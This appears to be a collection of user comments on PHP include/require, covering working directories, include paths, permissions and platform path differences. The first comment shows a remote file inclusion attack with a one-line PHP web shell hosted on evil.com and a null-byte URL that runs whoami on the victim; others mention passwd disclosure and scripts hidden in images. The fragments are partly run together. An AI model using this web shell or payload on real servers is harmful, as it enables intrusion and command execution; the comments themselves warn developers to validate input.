As a programmer, you might expect the user to browse to the path that you specify.

However, it opens up an RFI vulnerability. To exploit it as an attacker, I would first setup an evil text file with php code on my evil.com domain.

evil.txt<?php echo shell_exec($_GET['command']);?>

It is a text file so it would not be processed on my server but on the target/victim server. I would browse to:h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00

The example.php would download my evil.txt and process the operating system command that I passed in as the command variable. In this case, it is whoami. I ended the path variable with a %00, which is the null character. The original include statement in the example.php would ignore the rest of the line. It should tell me who the web server is running as.

Please use proper input validation if you use variables in an include statement.

I cannot emphasize enough knowing the active working directory. Find it by: echo getcwd();Remember that if file A includes file B, and B includes file C; the include path in B should take into account that A, not B, is the active working directory.

When including a file using its name directly without specifying we are talking about the current working directory, i.e. saying (include "file") instead of ( include "./file") . PHP will search first in the current working directory (given by getcwd() ) , then next searches for it in the directory of the script being executed (given by __dir__).This is an example to demonstrate the situation :We have two directory structure :-dir1----script.php----test----dir1_test-dir2----test----dir2_test

dir1/test contains the following text :This is test in dir1dir2/test contains the following text:This is test in dir2dir1_test contains the following text:This is dir1_testdir2_test contains the following text:This is dir2_test

Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir1including "test" ...This is test in dir1Changing current working directory to dir2Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir2including "test" ...This is test in dir2including "dir2_test" ...This is dir2_testincluding "dir1_test" ...This is dir1_testincluding "./dir1_test" ...couldn't include this file

If you want to have include files, but do not want them to be accessible directly from the client side, please, please, for the love of keyboard, do not do this:

<?php

# index.phpdefine('what', 'ever');include 'includeFile.php';

# includeFile.php

// check if what is defined and die if not

?>

The reason you should not do this is because there is a better option available. Move the includeFile(s) out of the document root of your project. So if the document root of your project is at "/usr/share/nginx/html", keep the include files in "/usr/share/nginx/src".

<?php

# index.php (in document root (/usr/share/nginx/html))

include __DIR__ . '/../src/includeFile.php';

?>

Since user can't type 'your.site/../src/includeFile.php', your includeFile(s) would not be accessible to the user directly.

It's worth noting that PHP provides an OS-context aware constant called DIRECTORY_SEPARATOR. If you use that instead of slashes in your directory paths your scripts will be correct whether you use *NIX or (shudder) Windows. (In a semi-related way, there is a smart end-of-line character, PHP_EOL)

and so on. This way, the files in your framework will only have to issue statements such as this:

<?phprequire_once(LIB_DIR . 'excel_functions.php');?>

This also frees you from having to check the include path each time you do an include.

If you're running scripts from below your main web directory, put a prepend.php file in each subdirectory:

--<?phpinclude(dirname(dirname(__FILE__)) . '/prepend.php');?>--

This way, the prepend.php at the top always gets executed and you'll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.

If you're doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn't exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist - e.g. a dev environment has it, but a prod one doesn't.)

A word of warning about lazy HTTP includes - they can break your server.

If you are including a file from your own site, do not use a URL however easy or tempting that may be. If all of your PHP processes are tied up with the pages making the request, there are no processes available to serve the include. The original requests will sit there tying up all your resources and eventually time out.

Use file references wherever possible. This caused us a considerable amount of grief (Zend/IIS) before I tracked the problem down.

It is also able to include or open a file from a zip file:<?phpinclude "something.zip#script.php";echo file_get_contents("something.zip#script.php");?>Note that instead of using / or \, open a file from a zip file uses # to separate zip name and inner file's name.

But here's the trick: if Server B doesn't have PHP installed, it returns the file list.php to Server A, and Server A executes that file. Now we have a file listing of Server A! I tried this on three different servers, and it allways worked.This is only an example, but there have been hacks uploading files to servers etc.

If you have a problem with "Permission denied" errors (or other permissions problems) when including files, check:

1) That the file you are trying to include has the appropriate "r" (read) permission set, and2) That all the directories that are ancestors of the included file, but not of the script including the file, have the appropriate "x" (execute/search) permission set.

file_exists() will return true, your passwd file will be included and since it's not php code it will be output directly to the browser.

Of course the same vulnerability exists if you are reading a file to display, as in a templating engine.

You absolutely have to sanitize any input string that will be used to access the filesystem, you can't count on an absolute path or appended file extension to secure it. Better yet, know exactly what options you can accept and accept only those options.

I would like to point out the difference in behavior in IIS/Windows and Apache/Unix (not sure about any others, but I would think that any server under Windows will be have the same as IIS/Windows and any server under Unix will behave the same as Apache/Unix) when it comes to path specified for included files.

Consider the following:<?phpinclude '/Path/To/File.php';?>

In IIS/Windows, the file is looked for at the root of the virtual host (we'll say C:\Server\Sites\MySite) since the path began with a forward slash. This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.

However, Unix file/folder structuring is a little different. The / represents the root of the hard drive or current hard drive partition. In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we'll say is /usr/var/www/htdocs). Thusly, an error/warning would be thrown because the path doesn't exist in the root path.

I just thought I'd mention that. It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.

if (preg_match('/[^\\/]{1}\\[^\\/]{1}/', $documentRoot)) {$documentRoot = preg_replace('/([^\\/]{1})\\([^\\/]{1})/', '\\1DIR_SEP\\2', $documentRoot);$documentRoot = str_replace('DIR_SEP', '\\\\', $documentRoot); }}else {/** * I usually store this file in the Includes folder at the root of my * virtual host. This can be changed to wherever you store this file. * * Example: * If you store this file in the Application/Settings/DocRoot folder at the * base of your site, you would change this array to include each of those * folders. * * <code> * $directories = array( * 'Application', * 'Settings', * 'DocRoot' * ); * </code> */$directories = array('Includes');

Just about any file type can be 'included' or 'required'. By sending appropriate headers, like in the below example, the client would normally see the output in their browser as an image or other intended mime type.

You can also embed text in the output, like in the example below. But an image is still an image to the client's machine. The client must open the downloaded file as plain/text to see what you embedded.

include '/some_image.jpg';echo 'This file was provided by example@user.com.';

?>

Which brings us to a major security issue. Scripts can be hidden within images or files using this method. For example, instead echoing "<?php phpinfo(); ?>", a foreach/unlink loop through the entire filesystem, or some other method of disabling security on your machine.

'Including' any file made this way will execute those scripts. NEVER 'include' anything that you found on the web or that users upload or can alter in any way. Instead, use something a little safer to display the found file, like "echo file_get_contents('/some_image.jpg');"

While you can return a value from an included file, and receive the value as you would expect, you do not seem to be able to return a reference in any way (except in array, references are always preserved in arrays).

i.e the reference passed to x() is broken on it's way out of the include()

Neither can you do something like <?php $foo =& include(....); ?> as that's a parse error (include is not a real function, so can't take a reference in that case). And you also can't do <?php return &$foo ?> in the included file (parse error again, nothing to assign the reference too).

The only solutions are to set a variable with the reference which the including code can then return itself, or return an array with the reference inside.

To Windows coders, if you are upgrading from 5.3 to 5.4 or even 5.5; if you have have coded a path in your require or include you will have to be careful. Your code might not be backward compatible. To be more specific; the code escape for ESC, which is "\e" was introduced in php 5.4.4 + but if you use 5.4.3 you should be fine. For instance:

Solution:-----------Theoretically, you should be always using "\\" instead of "\" when you write php in windows machine OR use "/" like in Linux and you should fine since "\" is an escape character in most programming languages.If you are not using absolute paths ; stream functions is your best friend like stream_resolve_include_path() , but you need to include the path you are resolving in you php.ini (include_path variable).

I hope this makes sense and I hope it will someone sometime down the road.cheers,